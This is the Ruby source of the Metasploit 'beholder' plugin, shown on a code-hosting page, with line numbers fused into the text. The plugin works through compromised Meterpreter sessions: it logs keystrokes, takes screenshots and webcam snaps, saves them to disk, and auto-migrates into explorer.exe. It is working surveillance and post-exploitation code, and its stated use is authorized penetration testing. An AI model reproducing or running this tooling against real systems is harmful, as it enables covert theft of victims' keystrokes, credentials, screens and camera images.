Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/plugins/beholder.rb
Views: 11705
# -*- coding:binary -*-12require 'fileutils'34module Msf5class Plugin::Beholder < Msf::Plugin67#8# Worker Thread9#1011class BeholderWorker12attr_accessor :framework, :config, :driver, :thread, :state1314def initialize(framework, config, driver)15self.state = {}16self.framework = framework17self.config = config18self.driver = driver19self.thread = framework.threads.spawn('BeholderWorker', false) do20begin21start22rescue ::Exception => e23warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}"24end2526# Mark this worker as dead27self.thread = nil28end29end3031def stop32return unless thread3334begin35thread.kill36rescue StandardError37nil38end39self.thread = nil40end4142def start43driver.print_status("Beholder is logging to #{config[:base]}")44bool_options = %i[screenshot webcam keystrokes automigrate]45bool_options.each do |o|46config[o] = !(config[o].to_s =~ /^[yt1]/i).nil?47end4849int_options = %i[idle freq]50int_options.each do |o|51config[o] = config[o].to_i52end5354::FileUtils.mkdir_p(config[:base])5556loop do57framework.sessions.each_key do |sid|58if state[sid].nil? ||59(state[sid][:last_update] + config[:freq] < Time.now.to_f)60process(sid)61end62rescue ::Exception => e63session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}")64end65sleep(1)66end67end6869def process(sid)70state[sid] ||= {}71store_session_info(sid)72return unless compatible?(sid)73return if stale_session?(sid)7475verify_migration(sid)76cache_sysinfo(sid)77collect_keystrokes(sid)78collect_screenshot(sid)79collect_webcam(sid)80end8182def session_log(sid, msg)83::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd|84fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}"85end86end8788def store_session_info(sid)89state[sid][:last_update] = Time.now.to_f90return if state[sid][:initialized]9192state[sid][:info] = framework.sessions[sid].info93session_log(sid, 'registered')94state[sid][:initialized] = true95end9697def capture_filename(sid)98state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S')99end100101def store_keystrokes(sid, data)102return if data.empty?103104filename = capture_filename(sid) + '_keystrokes.txt'105::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }106session_log(sid, "captured keystrokes to #{filename}")107end108109def store_screenshot(sid, data)110filename = capture_filename(sid) + '_screenshot.jpg'111::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }112session_log(sid, "captured screenshot to #{filename}")113end114115def store_webcam(sid, data)116filename = capture_filename(sid) + '_webcam.jpg'117::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) }118session_log(sid, "captured webcam snap to #{filename}")119end120121# TODO: Stop the keystroke scanner when the plugin exits122def collect_keystrokes(sid)123return unless config[:keystrokes]124125sess = framework.sessions[sid]126unless state[sid][:keyscan]127# Consume any error (happens if the keystroke thread is already active)128begin129sess.ui.keyscan_start130rescue StandardError131nil132end133state[sid][:keyscan] = true134return135end136137collected_keys = sess.ui.keyscan_dump138store_keystrokes(sid, collected_keys)139end140141# TODO: Specify image quality142def collect_screenshot(sid)143return unless config[:screenshot]144145sess = framework.sessions[sid]146collected_image = sess.ui.screenshot(50)147store_screenshot(sid, collected_image)148end149150# TODO: Specify webcam index and frame quality151def collect_webcam(sid)152return unless config[:webcam]153154sess = framework.sessions[sid]155begin156sess.webcam.webcam_start(1)157collected_image = sess.webcam.webcam_get_frame(100)158store_webcam(sid, collected_image)159ensure160sess.webcam.webcam_stop161end162end163164def cache_sysinfo(sid)165return if state[sid][:sysinfo]166167state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo168state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '')169end170171def verify_migration(sid)172return unless config[:automigrate]173return if state[sid][:migrated]174175sess = framework.sessions[sid]176177# Are we in an explorer process already?178pid = sess.sys.process.getpid179session_log(sid, "has process ID #{pid}")180ps = sess.sys.process.get_processes181this_ps = ps.select { |x| x['pid'] == pid }.first182183# Already in explorer? Mark the session and move on184if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe'185session_log(sid, 'is already in explorer.exe')186state[sid][:migrated] = true187return188end189190# Attempt to migrate, but flag that we tried either way191state[sid][:migrated] = true192193# Grab the first explorer.exe process we find that we have rights to194target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first195unless target_ps196# No explorer.exe process?197session_log(sid, 'no explorer.exe process found for automigrate')198return199end200201# Attempt to migrate to the target pid202session_log(sid, "attempting to migrate to #{target_ps.inspect}")203sess.core.migrate(target_ps['pid'])204end205206# Only support sessions that have core.migrate()207def compatible?(sid)208framework.sessions[sid].respond_to?(:core) &&209framework.sessions[sid].core.respond_to?(:migrate)210end211212# Skip sessions with ancient last checkin times213def stale_session?(sid)214return unless framework.sessions[sid].respond_to?(:last_checkin)215216session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i217# TODO: Make the max age configurable, for now 5 minutes seems reasonable218if session_age > 300219session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago")220return true221end222return223end224225end226227#228# Command Dispatcher229#230231class BeholderCommandDispatcher232include Msf::Ui::Console::CommandDispatcher233234@@beholder_config = {235screenshot: true,236webcam: false,237keystrokes: true,238automigrate: true,239base: ::File.join(Msf::Config.config_directory, 'beholder', Time.now.strftime('%Y-%m-%d.%s')),240freq: 30,241# TODO: Only capture when the idle threshold has been reached242idle: 0243}244245@@beholder_worker = nil246247def name248'Beholder'249end250251def commands252{253'beholder_start' => 'Start capturing data',254'beholder_stop' => 'Stop capturing data',255'beholder_conf' => 'Configure capture parameters'256}257end258259def cmd_beholder_stop(*_args)260unless @@beholder_worker261print_error('Error: Beholder is not active')262return263end264265print_status('Beholder is shutting down...')266stop_beholder267end268269def cmd_beholder_conf(*args)270parse_config(*args)271print_status('Beholder Configuration')272print_status('----------------------')273@@beholder_config.each_pair do |k, v|274print_status(" #{k}: #{v}")275end276end277278def cmd_beholder_start(*args)279opts = Rex::Parser::Arguments.new(280'-h' => [ false, 'This help menu']281)282283opts.parse(args) do |opt, _idx, _val|284case opt285when '-h'286print_line('Usage: beholder_start [base=</path/to/directory>] [screenshot=<true|false>] [webcam=<true|false>] [keystrokes=<true|false>] [automigrate=<true|false>] [freq=30]')287print_line(opts.usage)288return289end290end291292if @@beholder_worker293print_error('Error: Beholder is already active, use beholder_stop to terminate')294return295end296297parse_config(*args)298start_beholder299end300301def parse_config(*args)302new_config = args.map { |x| x.split('=', 2) }303new_config.each do |c|304unless @@beholder_config.key?(c.first.to_sym)305print_error("Invalid configuration option: #{c.first}")306next307end308@@beholder_config[c.first.to_sym] = c.last309end310end311312def stop_beholder313@@beholder_worker.stop if @@beholder_worker314@@beholder_worker = nil315end316317def start_beholder318@@beholder_worker = BeholderWorker.new(framework, @@beholder_config, driver)319end320321end322323#324# Plugin Interface325#326327def initialize(framework, opts)328super329add_console_dispatcher(BeholderCommandDispatcher)330end331332def cleanup333remove_console_dispatcher('Beholder')334end335336def name337'beholder'338end339340def desc341'Capture screenshots, webcam pictures, and keystrokes from active sessions'342end343end344end345346347